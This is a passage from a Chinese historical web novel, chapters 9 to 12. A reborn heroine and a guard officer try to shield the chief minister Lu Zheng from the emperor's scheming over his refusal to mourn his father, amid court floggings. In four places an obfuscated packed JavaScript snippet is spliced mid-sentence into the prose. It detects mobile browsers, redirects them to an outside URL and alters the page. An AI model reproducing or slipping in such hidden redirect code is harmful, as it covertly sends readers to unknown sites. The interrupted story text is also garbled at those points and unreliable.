“阿晚,你说从这儿可以望见荆州的月亮吗?”陆正说这话时,正立于回廊之上,静静遥望天边的一轮孤月。他周身官服未褪,眉眼间还略带着些疲意,似是刚刚从内阁值房里回来。 月光如练,澄澈清明。陆晚的视线也渐渐清晰了起来,她侧目而望,忽然瞧见陆正的鬓角已经半白。她没有来地一阵心慌:“父亲是思念荆州的老家了吗?” 闻言,陆正沉默良久,方开口道:“今日荆州那边的人来信称,你的祖父已经故去了。” 陆晚只觉脑海里似是有一根弦蓦然断了。比起悲伤,更多的是恐惧。 上辈子,也是这样的时节,祖父去世。按礼,陆正作为儿子,应该归家丁忧,辞官守孝三年。奈何陆正开展的赋税变革才刚见成效,国库也才由亏转盈,正是紧急关头。建宁帝驳回了陆正请辞的奏疏,称“国不能一日无陆先生”,特批陆正留任。 本朝崇尚孝道。作为儿子,父死守丧,乃是礼法。陆正此举立刻引发了大多数官员的不满,大臣们纷纷上书弹劾,言辞激烈,称他“专权擅政,罔顾人伦”。这些言论虽被建宁帝强力镇压下去,却为陆正死后遭遇清算埋下了隐患。陆正也因为这件事有了心结,衰老了很多,后来还患上了病。 陆晚不敢再想下去,她张了张嘴,却觉喉咙又酸又痛。她勉强咽下口水,仰头道:“父亲打算何时归家丁忧?” “为父今日已经向陛下呈上了请辞的折子。” “陛下不准是不是?” 作为女儿,陆晚当然清楚陆正的执念所在,他宁肯毁一人之誉也要将变法贯彻到底,护天下安平。可是她带着前世的记忆而活,又怎么能眼睁睁地看着自己的至亲重走旧路呢? 她试图再劝:“父亲,朝事可以暂搁,有些事情若是拖延久了,可能会成为终身之憾。” 陆正迟迟没有言语。月色冷白,如霜雪般覆于他的脸上,让人难辨其神色。半晌,他才启口:“阿晚,变革未就,为父——” “什么变革未就!这分明就是你的推辞!你就是为了独揽大权!” 陆谦不知从什么开始,也踏步迈进了回廊。他怒容满面,额角青筋暴起,话语间也失了分寸:“父亲,仕途对你来说就这么重要吗?当年母亲病重,你因为国事没赶来见她最后一面。如今阿翁故去,你竟狠心至此,连守孝都不肯了吗?” “兄长——”陆晚忙截下他的话语,给他递了个眼色,却见他恍若未闻,屈膝跪地,昂头哽声道:“父亲,儿子恳请您辞官归家,为阿翁守丧。” 陆正破天荒地没有恼怒。他如今已至不惑之年了,鬓染霜雪,眼角也已布满了皱纹。他垂目看着跪地的少年,不禁怅惘,话语却仍是冷淡至极:“这是我的事情,容不得你插手,你若要跪就跪吧。” 说罢,便拂袖离去。 “父亲既立成圣之志,当明白圣人当以孝为先。儿子斗胆问一句,不孝之人,如何堪作天下之表率?” “自古忠孝难两全。天下为先,私情置后。” 陆谦望着他消失在廊角的身影,满腔气血一齐涌上心头,陡然拔高了音调:“自欺之言!朝廷只有你一个官吗?没了你,就不能运转了吗?” 陆晚见状,忙倾下身子,用强力将他自地上拽起,语气也反常地加重了几分:“兄长,你说的都是什么话?阿翁去世,父亲心里比谁都难受。父亲的脾性你又不是不知道,他平素克制,喜怒不形于色。如今只是面上不显,心底必然悲戚。咱们作为子女,怎能尽说些戳他心窝的话呢?” “我只是不明白,”陆谦几乎泣不成声:“他为何总是要舍弃我们这些至亲之人呢?当年母亲病重,渴盼见他一面。他却因为在外治理水患,耽搁了时辰。如今对阿翁也是如此……” 陆晚知他一向重情,此时必是心痛至极,只好宽慰几句,扶他回房歇息。 陆正最终还是留在了燕京,只遣了陆谦及几个家仆回荆州操办丧仪等后事。不过两日,弹劾陆正的奏折便如雪片般飞来,堆满了御案。建宁帝一开始只是压着,后来抵不住那些言官御史们一个个跪在乾清宫外上谏,索性便让北镇抚司和司礼监联合镇压反对之人。 故而,江淮安作为北镇抚司的千户,这几日也不得空闲。连着两日下来,已有十位大臣下狱了。 这日的天际有些灰沉,狂风大作,一场暴雨便这样猝不及防地席卷了燕京城。 御路东侧,神武门前,景状惨烈。数十张刑凳在大雨中摆开,七八个言官被褪去官服,捆绑在凳子上承受廷杖之刑。曹德旺以及几个司礼监的秉笔正撑着伞观刑。 邓则明率北镇抚司掌刑,因为上午人手已经足够,便让江淮安晌午再来替一把手。 江淮安一边卸下腰上的绣春刀,递与禁军守卫,一边朝神武门前看去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362445|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 官服尽剥,手脚皆缚,凳上受刑,惨叫不止。不过片刻,官员的惨叫声已被孱弱的求饶声所取代,有些上了年纪的老臣,实在支撑不住便昏了过去。唯有一个年轻一点的官员,还死死抠着刑凳的边沿,哑着嗓音喊道:“求陛下下令……谴陆首辅归家丁忧,断不可……罔顾纲常人伦啊。” 江淮安觉得这人的声音有些熟悉,走近一步,才发觉此人便是裴度。邓则明见他走来,便道:“还有五棍,江千户,你来替下手吧。” 江淮安接过差役手中的刑棍,低头看了一眼裴度身上的伤,血水已经染满了底衣,顺着雨水望他身下流淌。江淮安瞧着他惨白的面色,便知他撑不了多久。五棍下去,半条命定是没有了。 他记起来,上辈子,裴度好像也是因此受了二十大棍。裴家也算是有些名望的大姓之族,自然看重纲常礼教,对陆正不满也正常。再加上裴度又因此受了刑,裴氏一族对陆正的态度便更加激烈了。 江淮安不由在心里叹气,建宁帝走的这部棋,实在是高明。以社稷绑架陆正,让其罔顾礼教,将其推向风口浪尖。又用廷杖加剧大臣对他的怨恨。 “你来北镇抚司也有些时日了,难道还不懂规矩吗?这是陛下的召令,岂能任你犹疑?”邓则明见江淮安迟迟不动手,不由低喝了一声。 “动手啊……”裴度忽然面露惨笑:“臣今日就算是舍了性命也要讨一个说法!” 曹德旺望着漫天大雨,示意随堂的太监撑了一把伞过去,自己也上前和江淮安见礼。他刻意压低了声音:“江千户,你这会儿可不能仁慈啊。这些个儿言官以下犯上,惹怒了万岁,自是该受罚。” 江淮安一大半个身子淋在了雨里,持棍默立良久后,忽然将刑棍丢至地上,撩袍跪下:“恳请秉笔传个话,臣恳请求见万岁。” “你——”曹德旺闻言,脸色立刻沉了下去:“行刑是陛下的意思。” 说罢,他又看向静立一旁的邓则明,道:“邓指挥使,你还不管管你这位下属!”话刚说完,却听得跪地那人忽然扬声道:“陛下此举,非但无法平息朝野非议,反而可能会毁了陆首辅的声誉。” 此时,雨势渐小,男子刻意提起的声音也盖过了淅沥的雨声,显得更为响亮。 曹德旺怒极,正欲再斥,却见一直静立不言的邓则明恰时开口:“秉笔,去给陛下传个话吧。” 9. 往事 雨敲琉璃,宫静如潭。 乾清宫内依旧焚着淡淡的檀香,建宁帝正在烛火下写字。掌印太监冯凭陪立在一旁伺候笔墨。 江淮安沉默地走到鎏金香炉前,屈膝跪下:“江某叩见陛下。” 建宁帝头也没抬,只是对着今日写的一副字看了又看,似是颇为不满。良久,他看了一眼随侍的冯凭,蹙眉道:“大伴,你说朕今日写的这副字怎么样?” “大伴”是建宁帝对冯凭的爱称。冯凭自建宁帝幼年起就负责照料其日常起居与学业教育,颇受信赖,自建宁帝登基后便成了司礼监的掌印太监,管理整个司礼监。 冯凭笑道:“万岁的字越发长进了。陆先生看了,必是十分满意。” 建宁帝搁下笔,叹了口气:“朕的字不及先生万分之一。”说罢,他才抬头瞧了一眼跪地的江淮安,漫不经心地问道:“听曹德旺说,你有要事求见朕?” “回陛下,臣恳请废除廷杖制度。” 此话一出,殿内顿时就沉默了下来。廷杖制度是太祖时期创立的。太祖出身寒微,对士大夫阶层既依赖又猜忌。为了压制文官,树立权威,这才开立了廷杖这一“于朝堂杖责大臣”的惩戒手段。 “放肆!”默然半晌后,建宁帝猛地一拍桌岸:“廷杖是祖宗之法,如何能废?” 江淮安依旧跪得挺直,不卑不亢道:“陛下借由廷杖责罚反对陆首辅留京的大臣,非但不能平息非议,反而可能激增臣子们对陆首辅的怨怼。” 闻言,陪立一旁的冯凭下意识看了一眼这位年轻的千户,却恰好与跪地之人目光交汇。冯凭一怔,而后不动声色地收回了目光,躬低了身子,细声劝道:“万岁息怒。江千户不知深浅,狂悖糊涂,冒犯了万岁。但奴才觉着吧,他后半句话不无道理。毕竟事关陆先生的声誉……” 建宁帝没有料到江淮安会在殿里说出这番话。他暗暗咬了咬牙,正欲发作,却又顾及冯凭在场,最终作罢。他缓了缓神色,佯装发愁地叹道:“朕一向敬重文人,本就不愿得罪那些言官。你也知道,如今变革未就,朝廷不可一日无陆先生。可偏偏那些言官御史非要一个个递上奏疏弹劾先生,朕为了让先生宽心,也只得如此。若不用廷杖,可还有什么更好的解决办法?” “回陛下,臣以为此事无需过多干预。所谓君子和而不同,言官们尊儒守礼,反对陆首辅留任也是人之常情。陆首辅心系天下,舍私情护家国,亦值得敬佩。两者不过是立场不同罢了,但最终的目的都是为了守护陛下的江山。” “既如此,陛下又何须非得为了维护一方而寒了另一方臣子的心呢?” “所以你的意思是叫朕放任不管对吧?” 少年天子适时开口,话语虽平宁,却隐着些恼怒。 江淮安依旧平心静气,垂目道:“海纳百川,有容乃大。陛下作为万民之主,胸襟之博大非常人可比拟。陛下英明,定能兼容两方之政见,使其为国所用,济世利民。” 建宁帝望了一眼殿门外的雨帘,不自知地摩挲着拇指上的玉扳指,沉声道:“罢了,今日雨大,朕就不责罚他们了。” “廷杖是祖宗之法,不可废,”他顿了顿,站起身,低头俯视江淮安:“至于你说的,朕会考虑。你且退下吧。” “大伴,你也不必在这儿伺候了,替朕送送他吧。” 冯凭撑伞送江淮安至宫门外。临别之际,他隔着雨幕,凝着眼前的年轻男子道:“江千户不愧曾是读书人,今日在大殿上说的那番话实在是妙极了。可咱家尚有一事不明,江千户究竟站在哪一方呢?” “掌印说笑了。臣只有陛下一个主子,自当誓死效忠陛下。” 冯凭笑笑,忽而走近,朝江淮安露出了一个讳莫如深的微笑,低声道:“咱家替陆首辅谢过你。” 话毕,他便退了一步,将伞递给江淮安,道:“就送到这儿了。外面雨大,千户慢行。”而后便背身离去。 江淮安接过伞柄,一时沉默。 他是刻意当着冯凭的面在殿上说出那番话的。他记得,上辈子,冯凭与陆正是盟友的关系。正因为内阁与司礼监的相互配合,赋税变革才得以顺利开展。冯凭虽为内廷宦官,自小侍奉建宁帝,却更敬重陆正一些。原因也不难理解,毕竟建宁帝即位时也才十岁而已,权力不稳。冯凭为了争取更多的利益,自然会选择与陆正结盟。不过二人的关系,较之盟友,更为亲厚。前世里陆正被清算后,冯凭也被抄家流放。 正因为知道两人的关系,他才有意用此话提醒冯凭,廷杖于陆正不利。然而,他更想点明的是,冯凭与陆正应该提防君心。冯凭是内廷的老人了,应该看得出他话中的深意。只是陆正太过骄傲固执,一向视建宁帝为自己最喜爱的学生,未必…… 思及此,江淮安揉了揉发酸的眉眼,试图让自己更清醒一点。暴雨未歇,他走出神武门时,门前坑洼处的积水已至脚踝。刚接过城门守军递过的绣春刀,却恰巧撞见了正要出宫的陆正正。 江淮安下意识放下伞柄,垂头行礼:“陆首辅”,却只听得一句轻哼作为回应。 余光之间,他只看见一袭绯色衣角在他不远处停留了片刻,那人冷淡的声音自头顶传来:“江千户做出这副姿态,是要给谁看?” 雨花飞溅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362446|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,江淮安周身已经湿透,却不曾抬头。只待那人离去,他才堪堪抬眸。不知是否是雨水过大,模糊了他的视线,他总觉得陆正离去的身影有些摇晃不稳。 上辈子,陆正是因病去世的。想到这儿,他不禁出了一层冷汗,一时竟定在了原地。直到门前的守卫军出声提醒,他才捡起伞面,移步离去。 多年过去了,人们都说往事会渐渐被埋葬。实则不然,往事会自行爬上心头。 譬若此时,西胡同南角,安和医馆内。 “什么东西!也敢跟本王讨价还价。本王肯光顾你这个医馆,你就该谢天谢地了,还敢找本王要钱!” 蟒袍,金带。狂悖,傲慢。 一个名字在心底呼之欲出。陆晚顿时觉得手中的药方都拿不稳了,脚步亦有些虚软,胃里更是一阵排山倒海。她想呕吐。 有的时候,憎恨与恐惧是如影随形的。哪怕多活了一世,再次听到豫王刘子陵的声音后,她还是会克制不住地颤抖。 “王爷,你可怜可怜我们这些老百姓吧。我这医馆一个月本来就这点收入……” “放肆!” 那医馆的大夫话还没说完,身上就挨了一脚,不由得吃痛喊了一声。大夫大抵是不敢惹事,只好缩在角落里,掩面而泣。 王子皇孙,庶人平民。有人天生高贵,有人天生低贱。低贱得连反抗的能力都没有。 “咦,这位姑娘看起来好生美丽!不如跟本王回去……”不知从何时始,一身蟒袍的刘子陵忽然注意到医馆里的陆晚。他面上露出几分恶趣味似的好奇,快步走近,似是想伸出手来戏弄她。 陆晚垂眸看着他伸出的手。医馆里没什么人,大夫强忍着的哭泣声在此间内显得更为刺耳。 那一瞬间,她好像又回到了教坊司里那个昏暗又绝望的夜晚。 陆晚,镇定,镇定! 其实人很多时候都比自己想象得更为坚强。当那只手快触碰到她的发丝时,比恐惧最先抵达她内心深处的,是愤怒和不平。 啪—— 也许陆晚自己都没有想过,她这双女儿家的手,竟可以打出这么响亮的一个巴掌。 “你竟敢打我!”刘子陵捂着脸,又惊又怒地看着面前这位看起来文弱无力的女子。 陆晚凝着他脸上那个明显的巴掌印,内心逐渐镇静起来。 这不是前世,陆家还没有没落,她无需惧怕他。 “欺压平民,调戏妇女,你不该打吗?” “我是当今皇上的胞兄,你怎么敢伤我?” “我的父亲是当朝首辅,天子之师。你怎么敢冒犯我?” 10. 刑罚 “你——”刘子陵头眦目裂,一时竟对眼前这个女子生出几分惧怕。他瞥了一眼周围呆立的几个小厮,简直是恨铁不成钢,咬牙切齿道:“你——等着。”说罢,便狼狈离开。 陆晚终于松了一口气。她静静地站了一会儿,而后行至蜷缩在角落里的医馆大夫面前,将他扶起。 那大夫望着女子伸出来的手,忙挣扎着站起来,垂头道谢:“多谢陆小姐,您真是活菩萨啊。” “他经常来这儿闹事吗?” “唉,”大夫叹气:“经常来闹。从医馆到商铺,没有一个地方能幸免。拿了东西不给钱也就算了,这些个小祖宗稍不满意,还会派人砸咱们的店铺。咱们这些个老百姓,别的不求,就想过点安生日子……” 说着说着,话语间已带了哭腔。 “你们没有报官吗?” “怎么敢啊?这豫王是当今皇上的胞兄,同他一起来的都是些贵族子弟。咱们这些布衣怎么敢得罪他们?” 人分三六九等。上位者高贵,下位者卑贱。这是一朝的礼法所在,就连圣人也无法改变。 陆晚沉默。她本想说些圣贤之言来安慰一下这位大夫,可她搜肠刮肚,竟寻不到一句恰当说辞。于是只好起身告辞。 阳春三月,春风和煦。最温暖的时令,最美好的风光,纵是日暮,江山依旧如画。 山衔落日,烟波浩渺。 然而陆晚却无心欣赏这般美景。她凝着天际西沉的夕阳,心底陡然生出几分悲意。 日薄西山,生年将尽。充满希望与光明的是晨曦,充满衰老与死亡的是黄昏。 她记得,前世里,陆正是三月中旬患病,五月份过世的。陆正去世后,她没入了教坊司,受刘子陵欺辱。 想到这里,她的脚步不由得虚脱,双手一松,掌中的药方竟被晚风卷至地上。陆晚下意识去捡,却已有人先她一步。 那人立于日暮之下,身影修长,周身的飞鱼服在落日余晖的映衬下显得更为醒目。 陆晚怔愣地看着他,忽然很想落泪,眼眶顿时就红了。 “怎么了?”江淮安最见不得她流泪,一时心乱如麻,手足无措:“发生什么事了?” 他的目光触及那张药方,忽然就明白过来:“阿晚,你别担心。我认识一位医者,说不定——” “江淮安,”陆晚抹了把脸,声音平静下来:“生死有命。这个我们改变不了,只能做好准备。” 她顿了顿,忽道:“我今天见到豫王了。” 江淮安面色瞬变,忙一把揽住面前人,神色里是前所未有的慌乱与心疼:“他有没有对你做什么?” 陆晚蓦然笑了:“我打了他一巴掌。” 江淮安一窒,又听怀中人继续道:“看见他的时候,我满心惧怕。可那一巴掌打下去后,我觉得真是畅快。” 陆家姑娘,知书达礼,才貌双全。温婉,贤良,淑德,聪慧,美丽……所有美好的词语都可以用在陆晚的身上。但也恰恰是这份美好,让她无法生出自己的棱角与爪牙,无法在恐惧之外生出一份勇气。所以,上辈子,面对着刘子陵,即使陆晚那么恨他,那么想杀他,却连刺他的簪子都拿不稳。最后,还是江淮安买通豫王府的一个女婢,让她给刘子陵下毒,使其暴毙而亡。 “你该多打他几巴掌,让他长长记性。”江淮安突然出声,眸子里闪过几分冷峻。 “我该送他去见官,”陆晚偏过头,与江淮安相视:“他仗着皇族的身份,与世家的那些纨绔子弟一起为非作歹,欺压平民。” “父亲变革赋税之法,可我觉得这燕京城的吏治也该整顿一下。” 江淮安又是一愣:“你——” “我害怕,”陆晚像是明白他想说什么,平声道:“但我想,我或许更应该勇敢一点。我从前一直是那个集万千美誉于一身的陆家小姐。前世里,纵使流落风尘,我依然无法与自己和解,困于心中执念,为自己的不幸而悲伤。父亲和你相继离世后,我甚至在想,若你们没有主持那场该死的变法,该有多好。” “可我现下不这么想了,”她扯了一个笑容:“我愿意与你们一齐为这场变法作战。” 人总要为自己的选择付出一些代价,无论这选择是高尚还是卑鄙。 这日夜晚,江淮安又成了受刑之人。无需多想,江淮安知道,这是建宁帝的安排。 他的鱼尾服已经褪下,周身只余一件雪色中衣,双手捆绑于刑架之上。江淮安不禁自嘲似地一笑,这场景,倒真是有些像前世。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362447|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不懂陛下为什么要罚你。” 烛火晃动,将邓则明的影子,投在刑房的墙壁上。他右手持鞭,冷眼看着刑架之上的男子,眉头紧锁。 “不懂?”江淮安堂而皇之地朝面前人一笑:“既然不懂,为何要罚我?” “君命难为。” 话落,长鞭自上扬起,劈头盖脸就是一记鞭子,直接划破了诏狱里的静默。 隔间囚犯们不约而同地一颤,心都提在了嗓子眼。 刑架上的江淮安却只是闭上了眼睛,喉结轻滚,没有发出半分声音。 又是一鞭,直接划破了他的中衣,鲜血自衣口源源不断地渗出。那人却仍是一声未哼。 昏暗的诏狱里,一声又一声的尖锐鞭声接连响起。 整整五十鞭。 邓则明放下染血的鞭子,看了一眼架上脸色惨白如纸的男主,而后偏头对一旁的几个差役吩咐道:“帮他解绑,拖他到禁房里休息。” 差役们立刻应声去替江淮安解绑,将其架在肩膀上。 “指挥使……难道……就不想知道陛下为何罚我吗?” 邓则明眼神微凛,他逼近几步,一把扶稳那具布满鞭伤的身躯,而后无声谴退了刑房里的众人。 “为什么?” 江淮安虚弱一笑:“指挥使觉得廷杖制度该废停吗?” 邓则明沉默须臾后,道:“我只折磨藐视君上之人。朝堂直谏,冒犯天威……” “但指挥使并不想伤害那些言官对不对?” 邓则明一顿,不语。 “因为指挥使觉得真正冒犯天威的人不是那些个言官御史,而是陛下最信任也最尊敬的陆首辅。” “所以,你面请陛下废除廷杖制度到底是想帮谁?”邓则明问。 江淮安强忍着身上的剧痛,答道:“这个问题,我今日在神武门前已经答了。” 邓则明扶他的手一松,江淮安顿时虚脱得几乎跪下。邓则明却恍然未觉,后退几步,半是疑惑半是震惊道:“你要帮的人是陆首辅。那陛下……” 江淮安一手撑着地面,让自己不至于滑跪在地,仍是露出了一个温和的笑容,只是声音有些寒凉:“那陛下为什么要罚我?指挥使还是想不清楚吗?” 11. 迟暮 一个月过去了,关于首辅陆正未曾守丧,留京任职所引发的风波依旧未平。建宁帝倒也没有再用廷杖去责罚这些反对的大臣们,只是打着马虎眼,敷衍地应付几句。 陆正仍是忙里忙外,不顾辛劳地主持着赋税变革。不过,他的身体,确实是一日不如一日了。常常腰酸背痛,寝食难安。 华发早生,英雄迟暮。 很长的一段时间内,陆正都不愿承认亦不想显露自己的衰老。他习惯性地强硬着,固执着,严厉着,为官二十余再载,事事亲为,不怠慢不拖沓。 内阁首辅,天子帝师,位极人臣。纵使如此,他每天依旧雷打不动地上朝,常常在内阁值房里处理政务,以至深夜。 然而,残酷的岁月并不想谅解他。时光还是毫不留情地在这位臣子身上烙下了深刻的印记。 文化殿左室的东厢房内。 年轻的建宁帝战战兢兢地听着对面陆先生的讲学。他端坐于榻上,穿着规整,礼仪得体,神情认真恭敬地不似作伪。 “老骥伏枥,志在千里……” 今日讲的是曹孟德的《龟虽寿》。 一老一少,一帝一臣,相对而坐。 暖和的春光流进窗棂,洒落在这对既是君臣亦是师生的二人身上。 “烈士暮年,壮心不已……”一句未毕,陆正忽然停顿下来,他的目光落在了青石板上的倒影上。 这么多年来,他头一次意识到,自己的脊背原来已经如此佝偻,身影也矮了一截。 “陆先生,”年轻的学生最怕老师突然沉默,忙半是关切半是惊慌地喊了他一声。 陆正如梦初醒。他抬眼,凝向面前的少年君王,惯来严肃的腔调里竟多了几分温和:“臣读此诗,忽觉有些恍惚。” “原来,臣已经垂垂老矣,至于暮年了,”他说着,露出一个极尽苍凉的笑容:“光阴如快马加鞭,日月如落花流水。现在想来,当真是如此!” 建宁帝愕然。 君臣、师生,十二载。刚硬、冷峻、刻板……建宁帝对他这位老师所有的印象里,从来没有“衰老”这个词。他忽然大脑一片空白,喉咙里像被什么卡着了一样,吐不出一个字来。 年近半百的老臣倏尔放下手中的书册,屈下膝盖,半跪于地:“臣老迈病残,常觉无力,恐难胜重任。还望陛下垂悯,允臣辞官休养。” “先生……快起来,”建宁帝忙躬身去扶他,话语间略有些磕磕绊绊:“曹孟德……的诗不是说,烈士……暮年,壮心……不已吗?” 说着,他小心翼翼地吞咽了一下口水,试探性地看着自己的老师。 陆正却只是笑笑:“陛下,臣真的老了。然而陛下还年轻,风华正茂。臣相信陛下,定能将变革推行到底,开创盛世,庇佑万民。” “二十多年了,臣都未曾还乡,”他顿了顿,眼里盖了层稀薄的雾气:“狐死首丘,落叶归根,人亦如此。臣也想回故园看看。” 江淮安身上的伤还未好全。自那日诏狱问话过后,邓则明一直有些失魂落魄,只是叫江淮安先养伤,并未让他就职。冯凭偶尔也遣些内侍来江淮安的官舍,给他送些膏药、名茶、丝绸之类的。 “嘶——” “别乱动。” 陆晚轻轻掀起男子的里衣。三十天过去了,伤口已经结痂,可裸露的皮肤上面还是一片青紫,难以消散。 “阿晚。” 陆晚没好气地瞥了他一眼,不满道:“现在知道疼了?之前自作主张的时候怎么没有想过后果?” 话虽如此,她上药的力度却极轻,温柔而缓慢。 “阿晚,”江淮安无奈失笑:“我错了。” “万岁下了这么一盘好棋。我愚笨不敏,难以想出一个万全之策。便只好这么做了,”他续道,眸子亮如星辰:“你看看,我这不还是好好的嘛?” 陆晚脸色这才缓和了不少:“你就知道贫嘴。不过,也许父亲真的觉察到了什么,他同我说,今日打算请辞。” 闻言,江淮安眼神渐黯,轻声道:“也不知,令尊这次能否请辞成功。” 其实,前世里,陆正病重后期,也曾屡次上书辞官,但都被建宁帝尽数驳回。 陆晚也叹了口气:“我至今也不知道,他为何如此怨恨我父亲。父亲待他,比待兄长,还要胜过几分。日夜操劳,鞠躬尽瘁……” “阿晚,”江淮安止住了她的话,目光幽深,情绪难辨:“人心向里生长,我们是看不见的,窥不透的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362448|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能凭自己的认知加以揣测。更何况那个人是这一朝的君王。” “自古至今,历朝历代,功臣武将,多数都没有好下场。” 话毕,两人都沉默下来,直到侍从何令来报。何令觑了一眼与江淮安并坐在榻的陆晚,一时舌头有些打颤,话都说不利索:“公子,陆小姐……陆……首辅在外候着。” 江淮安面色瞬变,他看了一眼自己被掀起的里衣,有些尴尬地将衣袍理好,而后披起外裳,紧张地看向陆晚。 陆晚眼里闪过一丝惊异,不过片刻便恢复如常,淡声道:“我也不知道父亲为何要见你。我们一起出去见见他吧。” “阿晚,”江淮安犹豫道:“你……” 陆晚笑笑,忽然握住他的手,冲他扬了扬眉:“别想这么多,走吧。” 候在门外的陆正忽然看见自己的女儿同那人一起执手出来,心脏一紧,简直要昏死过去。他咳了咳,一时忘记顾及自己的形象,竟瞪大了眼睛:“你们——” 陆晚松开手,忙去搀扶陆正,拍了拍他的后背,为他顺了一口气,笑道:“父亲怎么来了?” “这到底怎么回事?”陆正气极:“你怎么和他在一起?” 江淮安下意识想要解释,躬身行礼道:“陆首辅,是这样的……” “放肆!”陆正望着自己的女儿,眼神冷峻:“这里没有你说话的地方。我在问她。” 陆晚脸上依旧挂着笑容,她仰首与自己的父亲相视,声音温和平静:“就是父亲看见的这样。我仰慕他。我们互相钟情于彼此。” 陆正简直是怒火攻心,下意识扬起右手,却在触及女儿紧闭的眼眸的刹那,无力地放下了手。 “之前裴度同我说,我还一直不信。他这样的人……他怎么配!” 陆晚盯着陆正的眼睛,平声应道:“他这样的人?他是怎样的人?冯掌印没有同您说那日的事情吗?” 一瞬间,陆正好像又衰老了几岁。他沉默下来。 半晌后,他才正眼看向面前那个谦卑的青年,拂开自己女儿的手,向那青年走近几步。 “阿晚,你先出去,为父有话同他说。” 陆晚倒也不慌乱,只是冲那人笑了笑后,便起身离开了。 12. 北楼 “你登过北楼吗?” 两相沉默之际,陆正兀自开口。他说着,抬头望了一眼天际。暖暖春日之下,天色青如瓷釉,流云素若绫罗。 缱倦的春风拂过他修长的胡须,揉乱了他花白的鬓发。他微微眯着眼,嗓音沙哑:“今天天气真好。北楼的风光应当也是秀美至极,你陪我一起去看看吧。” 江淮安一窒,思绪倏地回转到前世里初见陆正的那天。 少年的心气总是比天还高。彼时他刚刚进士及第,正是春风得意的时候。一时兴起,直登北楼,本欲极目抒怀,道尽少年意气。 然而,北楼之上,他看到了另一个同路之人。那人近于不惑之年,一袭绯色官袍,迎风而立,凭栏直眺。那人见他过来,只是笑着问了他一句话:“你从哪里来?” “江陵。” “你往哪儿去?” “不知归路,唯愿往前直走。” …… 这是江淮安初次见到这位传闻中的“铁血首辅”——陆正。那日他们聊了很多,无外乎家国抱负之类的话题。 那时阳光正好,微风轻柔,江淮安年轻气盛,陆正人值中年,亦不至于老颓。 至于今世,为避免重蹈前生覆辙,江淮安弃笔执刀,故而并未登过北楼。 他收回思绪,良久才应了声“好”。 北楼,望北之楼。 “我初次登临北楼之时,也不过是和你一样的年纪。北望便是中原,南俯便是闹市。万里江山,人间烟火,尽收眼底,”陆正扶着朱漆色的栏杆,声音悠远:“那个时候,我便立下了成圣之志,势必要为这片江山增添一抹不一样的光彩。” “你呢?”他回过头,望入面前年轻男子的眼里:“每个人都曾年少过,你的今日便是我的昨日。你年华正好,文采斐然。我看过你的策论和诗文,十分欣赏。我一直不明白,你为何要入诏狱?” “人各有志罢了。” “那你为何要请求陛下废除廷杖制度呢?” 江淮安沉默须臾后,平声道:“您信我吗?” 陆正笑着摇摇头:“我做了几十年的官了,从不轻言相信二字。我不信人心,只相信我的眼睛。” “可是偶尔,我也会怀疑自己的眼睛。你让冯凭提醒我明哲保身,是在说当今陛下猜忌于我吗?” “江某不敢。” “没什么不敢的,”陆正摆摆手,话语间略带几分沧桑:“我与万岁相处的年岁已有十二载了。他既是我的学生,也是我的君王。两重身份叠加在一起,又加之我生性古板严苛,难免失了分寸。” “自古权臣,都难逃君王猜忌。我也没有自负到那个程度。” “只是,”他俯首望了一眼楼下繁华的市井,叹道:“变革已推行至一半,然我时日无多,难胜其力,恐生变故。” “你有才华,亦有谋算,”陆正看着江淮安,道:“我希望,你能延续这场变革。” …… 陆晚不知道陆正那日同江淮安到底说了些什么。陆正也并没有过问她与江淮安之间的事情,依旧是起早贪黑,忙于政事。也许是因为鬓不再绿,年岁渐衰,陆正的脾性温和了许多。 建宁帝对陆正请辞的态度也模棱两可,一直没有做出断论。 这天,宫里的冯凭来陆府走了一趟。正巧陆晚也在场。 凉亭间。 春日品茶,烟雾缭绕,香气满亭,实为一大雅事。 